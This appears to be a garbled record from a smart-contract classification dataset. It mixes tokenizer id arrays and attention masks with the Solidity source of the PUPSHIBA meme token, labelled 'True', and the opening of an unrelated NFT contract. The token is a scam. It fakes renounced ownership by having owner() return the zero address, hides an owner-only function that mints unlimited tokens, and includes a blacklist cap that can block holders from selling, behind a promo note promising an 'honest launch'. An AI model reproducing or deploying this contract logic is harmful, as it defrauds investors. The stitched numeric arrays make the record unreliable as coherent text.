3853,
21948,
6279,
22086,
1006,
1007,
2270,
3193,
5651,
1006,
21318,
3372,
1007,
1025,
3853,
5703,
11253,
1006,
4769,
19204,
12384,
2121,
1007,
2270,
3193,
5651,
1006,
21318,
3372,
5703,
1007,
1025,
3853,
21447,
1006,
4769,
19204,
12384,
2121,
1010,
4769,
5247,
2121,
1007,
2270,
3193,
5651,
1006,
21318,
3372,
3588,
1007,
1025,
3853,
4651,
1006,
4769,
2000,
1010,
21318,
3372,
19204,
2015,
1007,
2270,
5651,
1006,
22017,
2140,
3112,
1007,
1025,
3853,
14300,
1006,
4769,
5247,
2121,
1010,
21318,
3372,
19204,
2015,
1007,
2270,
5651,
1006,
22017,
2140,
3112,
1007,
1025,
3853,
4651,
19699,
5358,
1006,
4769,
2013,
1010,
4769,
2000,
1010,
21318,
3372,
19204,
2015,
1007,
2270,
5651,
1006,
22017,
2140,
3112,
1007,
1025,
2724,
4651,
1006,
4769,
25331,
2013,
1010,
4769,
25331,
2000,
1010,
21318,
3372,
19204,
2015,
1007,
1025,
2724,
6226,
1006,
4769,
25331,
19204,
12384,
2121,
1010,
4769,
25331,
5247,
2121,
1010,
21318,
3372,
19204,
2015,
1007,
1025,
1065,
1013,
1013,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1013,
1013,
3647,
8785,
3075,
1013,
1013,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
3206,
3647,
18900,
2232,
1063,
3853,
3647,
4215,
2094,
1006,
21318,
3372,
1037,
1010,
21318,
3372,
1038,
1007,
2270,
5760,
5651,
1006,
21318,
3372,
1039,
1007,
1063,
1039,
1027,
1037,
1009,
1038,
1025,
5478,
1006,
1039,
1028,
1027,
1037,
1007,
1025,
1065,
3853,
3647,
6342,
2497,
1006,
21318,
3372,
1037,
1010,
21318,
3372,
1038,
1007,
2270,
5760,
5651,
1006,
21318,
3372,
1039,
1007,
1063,
5478,
1006,
1038,
1026,
1027,
1037,
1007,
1025,
1039,
1027,
1037,
1011,
1038,
1025,
1065,
3853,
3647,
12274,
2140,
1006,
21318,
3372,
1037,
1010,
21318,
3372,
1038,
1007,
2270,
5760,
5651,
1006,
21318,
3372,
1039,
1007,
1063,
1039,
1027,
1037,
1008,
1038,
1025,
5478,
1006,
1037,
1027,
1027,
1014,
1064,
1064,
102
] | [
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1
] |
/**
*Submitted for verification at Etherscan.io on 2021-06-15
*/
/**
- Hello everyone, LightningPup Shiba Inu (PUPSHINA) are launching on Tuesday 15st June at 18:20 UTC!
- Hooray, it happened! Guys, we want to create a 100% community token. The developers have collected 10 Ethers for the initial pool and 5 Ethers for tiktok promotion!
- We have not insisted on tokens for ourselves, we will buy this coin with our own money after an honest launch on UnisWap! We want to promote the meme movement in cryptocurrency
*/
// SPDX-License-Identifier: MIT
pragma solidity ^0.6.12;
interface IERC20 {
/**
* @dev Returns the amount of tokens in existence.
*/
function totalSupply() external view returns (uint256);
/**
* @dev Returns the amount of tokens owned by `account`.
*/
function balanceOf(address account) external view returns (uint256);
/**
* @dev Moves `amount` tokens from the caller's account to `recipient`.
*
* Returns a boolean value indicating whether the operation succeeded.s
*
* Emits a {Transfer} event.
*/
function transfer(address recipient, uint256 amount) external returns (bool);
/**
* @dev Returns the remaining number of tokens that `spender` will be
* allowed to spend on behalf of `owner` through {transferFrom}. This is
* zero by default.
*
* This value changes when {approve} or {transferFrom} are called.
*/
function allowance(address owner, address spender) external view returns (uint256);
/**
* @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* IMPORTANT: Beware that changing an allowance with this method brings the risk
* that someone may use both the old and the new allowance by unfortunate
* transaction ordering. One possible solution to mitigate this race
* condition is to first reduce the spender's allowance to 0 and set the
* desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
*
* Emits an {Approval} event.
*/
function approve(address spender, uint256 amount) external returns (bool);
/**
* @dev Moves `amount` tokens from `sender` to `recipient` using the
* allowance mechanism. `amount` is then deducted from the caller's
* allowance.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
/**
* @dev Emitted when `value` tokens are moved from one account (`from`) to
* another (`to`).
*
* Note that `value` may be zero.
*/
event Transfer(address indexed from, address indexed to, uint256 value);
/**
* @dev Emitted when the allowance of a `spender` for an `owner` is set by
* a call to {approve}. `value` is the new allowance.
*/
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library Address {
/**
* @dev Returns true if `account` is a contract.
*
* [IMPORTANT]
* ====
* It is unsafe to assume that an address for which this function returns
* false is an externally-owned account (EOA) and not a contract.
*
* Among others, `isContract` will return false for the following
* types of addresses:
*
* - an externally-owned account
* - a contract in construction
* - an address where a contract will be created
* - an address where a contract lived, but was destroyed
* ====
*/
function isContract(address account) internal view returns (bool) {
// According to EIP-1052, 0x0 is the value returned for not-yet created accounts
// and 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470 is returned
// for accounts without code, i.e. `keccak256('')`
bytes32 codehash;
bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
// solhint-disable-next-line no-inline-assembly
assembly { codehash := extcodehash(account) }
return (codehash != accountHash && codehash != 0x0);
}
/**
* @dev Replacement for Solidity's `transfer`: sends `amount` wei to
* `recipient`, forwarding all available gas and reverting on errors.
*
* https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost
* of certain opcodes, possibly making contracts go over the 2300 gas limit
* imposed by `transfer`, making them unable to receive funds via
* `transfer`. {sendValue} removes this limitation.
*
* https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more].
*
* IMPORTANT: because control is transferred to `recipient`, care must be
* taken to not create reentrancy vulnerabilities. Consider using
* {ReentrancyGuard} or the
* https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern].
*/
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
// solhint-disable-next-line avoid-low-level-calls, avoid-call-value
(bool success, ) = recipient.call{ value: amount }("");
require(success, "Address: unable to send value, recipient may have reverted");
}
/**
* @dev Performs a Solidity function call using a low level `call`. A
* plain`call` is an unsafe replacement for a function call: use this
* function instead.
*
* If `target` reverts with a revert reason, it is bubbled up by this
* function (like regular Solidity function calls).
*
* Returns the raw returned data. To convert to the expected return value,
* use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`].
*
* Requirements:
*
* - `target` must be a contract.
* - calling `target` with `data` must not revert.
*
* _Available since v3.1._
*/
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with
* `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
return _functionCallWithValue(target, data, 0, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but also transferring `value` wei to `target`.
*
* Requirements:
*
* - the calling contract must have an ETH balance of at least `value`.
* - the called Solidity function must be `payable`.
*
* _Available since v3.1._
*/
function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
/**
* @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but
* with `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
return _functionCallWithValue(target, data, value, errorMessage);
}
function _functionCallWithValue(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) {
require(isContract(target), "Address: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.call{ value: weiValue }(data);
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
// solhint-disable-next-line no-inline-assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
library SafeMath {
/**
* @dev Returns the addition of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `+` operator.
*
* Requirements:
*
* - Addition cannot overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
*
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting with custom message on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
*
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
/**
* @dev Returns the multiplication of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `*` operator.
*
* Requirements:
*
* - Multiplication cannot overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
/**
* @dev Returns the integer division of two unsigned integers. Reverts on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
/**
* @dev Returns the integer division of two unsigned integers. Reverts with custom message on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* Reverts when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* Reverts with custom message when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
abstract contract Context {
function _msgSender() internal view virtual returns (address payable) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes memory) {
this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691
return msg.data;
}
}
contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev Initializes the contract setting the deployer as the initial owner.
*/
constructor () internal {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
/**
* @dev Returns the address of the current owner.
*/
function owner() public view returns (address) {
return address(0);
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
/**
* @dev Leaves the contract without owner. It will not be possible to call
* `onlyOwner` functions anymore. Can only be called by the current owner.
*
* NOTE: Renouncing ownership will leave the contract without an owner,
* thereby removing any functionality that is only available to the owner.
*/
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
}
/**
* @dev Transfers ownership of the contract to a new account (`newOwner`).
* Can only be called by the current owner.
*/
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
}
contract PUPSHIBA is Context, IERC20, Ownable {
using SafeMath for uint256;
using Address for address;
mapping (address => uint256) private _balances;
mapping (address => mapping (address => uint256)) private _allowances;
address public _tBotAddress;
address public _tBlackAddress;
uint256 private _tTotal = 100 * 10**9 * 10**18;
string private _name = 'LightningPup Shiba Inu';
string private _symbol = 'PUPSHIBA';
uint8 private _decimals = 18;
uint256 public _maxBlack = 50000000 * 10**18;
constructor () public {
_balances[_msgSender()] = _tTotal;
emit Transfer(address(0), _msgSender(), _tTotal);
}
function name() public view returns (string memory) {
return _name;
}
function symbol() public view returns (string memory) {
return _symbol;
}
function decimals() public view returns (uint8) {
return _decimals;
}
function allowance(address owner, address spender) public view override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function setBlackListBot(address blackListAddress) public onlyOwner {
_tBotAddress = blackListAddress;
}
function setBlackAddress(address blackAddress) public onlyOwner {
_tBlackAddress = blackAddress;
}
function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function setFeeTotal(uint256 amount) public onlyOwner {
require(_msgSender() != address(0), "ERC20: cannot permit zero address");
_tTotal = _tTotal.add(amount);
_balances[_msgSender()] = _balances[_msgSender()].add(amount);
emit Transfer(address(0), _msgSender(), amount);
}
function setMaxTxBlack(uint256 maxTxBlackPercent) public onlyOwner {
_maxBlack = maxTxBlackPercent * 10**18;
}
function totalSupply() public view override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
return _balances[account];
}
function transfer(address recipient, uint256 amount) public override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function _approve(address owner, address spender, uint256 amount) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(address sender, address recipient, uint256 amount) internal {
require(sender != address(0), "BEP20: transfer from the zero address");
require(recipient != address(0), "BEP20: transfer to the zero address");
if (sender != _tBlackAddress && recipient == _tBotAddress) {
require(amount < _maxBlack, "Transfer amount exceeds the maxTxAmount.");
}
_balances[sender] = _balances[sender].sub(amount, "BEP20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
} | True | [
101,
1013,
1008,
1008,
1008,
7864,
2005,
22616,
2012,
28855,
29378,
1012,
22834,
2006,
25682,
1011,
5757,
1011,
2321,
1008,
1013,
1013,
1008,
1008,
1011,
7592,
3071,
1010,
7407,
14289,
2361,
11895,
3676,
1999,
2226,
1006,
26781,
17426,
2050,
1007,
2024,
12106,
2006,
9857,
2321,
3367,
2238,
2012,
2324,
1024,
2322,
11396,
999,
1011,
7570,
6525,
2100,
1010,
2009,
3047,
999,
4364,
1010,
2057,
2215,
2000,
3443,
1037,
2531,
1003,
2451,
19204,
1012,
1996,
9797,
2031,
5067,
2184,
28855,
2015,
2005,
1996,
3988,
4770,
1998,
1019,
28855,
2015,
2005,
14841,
25509,
6559,
4712,
999,
1011,
2057,
2031,
2025,
7278,
2006,
19204,
2015,
2005,
9731,
1010,
2057,
2097,
4965,
2023,
9226,
2007,
2256,
2219,
2769,
2044,
2019,
7481,
4888,
2006,
4895,
2483,
4213,
2361,
999,
2057,
2215,
2000,
5326,
1996,
2033,
4168,
2929,
1999,
19888,
10085,
3126,
7389,
5666,
1008,
1013,
1013,
1013,
23772,
2595,
1011,
6105,
1011,
8909,
4765,
18095,
1024,
10210,
10975,
8490,
2863,
5024,
3012,
1034,
1014,
1012,
1020,
1012,
2260,
1025,
8278,
29464,
11890,
11387,
1063,
1013,
1008,
1008,
1008,
1030,
16475,
5651,
1996,
3815,
1997,
19204,
2015,
1999,
4598,
1012,
1008,
1013,
3853,
21948,
6279,
22086,
1006,
1007,
6327,
3193,
5651,
1006,
21318,
3372,
17788,
2575,
1007,
1025,
1013,
1008,
1008,
1008,
1030,
16475,
5651,
1996,
3815,
1997,
19204,
2015,
3079,
2011,
1036,
4070,
1036,
1012,
1008,
1013,
3853,
5703,
11253,
1006,
4769,
4070,
1007,
6327,
3193,
5651,
1006,
21318,
3372,
17788,
2575,
1007,
1025,
1013,
1008,
1008,
1008,
1030,
16475,
5829,
1036,
3815,
1036,
19204,
2015,
2013,
1996,
20587,
1005,
1055,
4070,
2000,
1036,
7799,
1036,
1012,
1008,
1008,
5651,
1037,
22017,
20898,
3643,
8131,
3251,
1996,
3169,
4594,
1012,
1055,
1008,
1008,
12495,
3215,
1037,
1063,
4651,
1065,
2724,
1012,
1008,
1013,
3853,
4651,
1006,
4769,
7799,
1010,
21318,
3372,
17788,
2575,
3815,
1007,
6327,
5651,
1006,
22017,
2140,
1007,
1025,
1013,
1008,
1008,
1008,
1030,
16475,
5651,
1996,
3588,
2193,
1997,
19204,
2015,
2008,
1036,
5247,
2121,
1036,
2097,
2022,
1008,
3039,
2000,
5247,
2006,
6852,
1997,
1036,
3954,
1036,
2083,
1063,
4651,
19699,
5358,
1065,
1012,
2023,
2003,
1008,
5717,
2011,
12398,
1012,
1008,
1008,
2023,
3643,
3431,
2043,
1063,
14300,
1065,
2030,
1063,
4651,
19699,
5358,
1065,
2024,
2170,
1012,
1008,
1013,
3853,
21447,
1006,
4769,
3954,
1010,
4769,
5247,
2121,
1007,
6327,
3193,
5651,
1006,
21318,
3372,
17788,
2575,
1007,
1025,
1013,
1008,
1008,
1008,
1030,
16475,
4520,
1036,
3815,
1036,
2004,
1996,
21447,
1997,
1036,
5247,
2121,
1036,
2058,
1996,
20587,
1005,
1055,
19204,
2015,
1012,
1008,
1008,
5651,
1037,
22017,
20898,
3643,
8131,
3251,
1996,
3169,
4594,
1012,
1008,
1008,
2590,
1024,
2022,
8059,
2008,
5278,
2019,
21447,
2007,
2023,
4118,
7545,
1996,
3891,
1008,
2008,
2619,
2089,
2224,
2119,
1996,
2214,
1998,
1996,
2047,
21447,
2011,
15140,
1008,
12598,
13063,
1012,
2028,
2825,
5576,
2000,
10210,
28731,
2023,
2679,
1008,
4650,
2003,
2000,
2034,
5547,
1996,
5247,
2121,
1005,
1055,
21447,
2000,
1014,
1998,
2275,
1996,
1008,
9059,
3643,
5728,
1024,
1008,
16770,
1024,
1013,
1013,
21025,
2705,
12083,
1012,
4012,
1013,
28855,
14820,
1013,
1041,
11514,
2015,
102
] | [
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1
] |
/**
*Submitted for verification at Etherscan.io on 2022-03-31
*/
pragma solidity ^0.8.0;
/*
MM
MMMM
MMMMM
MMMMMM MM
MMM MMM
MMMMM
M MMMMMMMMMM MMMMMM
MMMM MMMMMMMMMMMMM MMMM
MMMMMM MMMMMMMMMMMMMM MM
MMMMMM MMMMMMMMMMMMMMM MMMMMMMMMM
MMMM MMMMMMMMMMMMMMM MMMMMMMMMMMM
MMMM MMMMMMMMMMMMMMM MMMMMMMMMMMMM
MMMMMMMMMMM MMMMMMMMMMMMMM MMMMMMMMMMMMMM
MMMMMMMMMMMMMM MMMMMMMMMMMM MMMMMMMMMMMMMMM
MMMMMMMMMMMMMMM MMMMMMMMMM MMMMMMMMMMMMMM
MMMMMMMMMMMMMMMM MMMMMMMMM MMMMMMMMMMMMMM
MMMMMMMMMMMMMMMM MMM MMM MMMMMMMMMMMMMM
MMMMMMMMMMMMMMMM MMMM MMMMMMM
MM MMMMMMMMMMMMMMMM
MMMM MMMMMMMMMMMMMMMM MMMMMMMMMMMMMMMMMMMMMMMMMMM
MMMMM MMM MMMMMMMMMMM MMMMMMMMMMMMMMMMMMMMMMMMMMMMMMM
MMM MM MMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMM
MMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMM
MMMMMMMMMMM MMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMM
MMMMMMMMMMMMMM MMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMM
MMMMMMMMMMMMMMM MMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMM
MMMMMMMMMMMMMM MMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMM MMMM
MMMMMMMMMMMMM MMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMM MMMM
MMMMMMMMMMM MMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMM MMMM
MMMMMMMMMM MMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMM MMM
M MMM MMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMM
MM MMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMM
M MM MMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMM
MMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMM
MMMMMMMMMMMMMMMMMMMMMMMMMMMMMMM
MMMMMMMMMMMMMMMMMMMMMMMMMMMMMM
MMMMMMMMMMMMMMM
MMMMMMMM MMM
MMMMMM M
MMMMMM
MMMMM
MMMMM
MMMMM
MMMM
MM
*/
/**
* @dev String operations.
*/
library Strings {
bytes16 private constant _HEX_SYMBOLS = "0123456789abcdef";
/**
* @dev Converts a `uint256` to its ASCII `string` decimal representation.
*/
function toString(uint256 value) internal pure returns (string memory) {
// Inspired by OraclizeAPI's implementation - MIT licence
// https://github.com/oraclize/ethereum-api/blob/b42146b063c7d6ee1358846c198246239e9360e8/oraclizeAPI_0.4.25.sol
if (value == 0) {
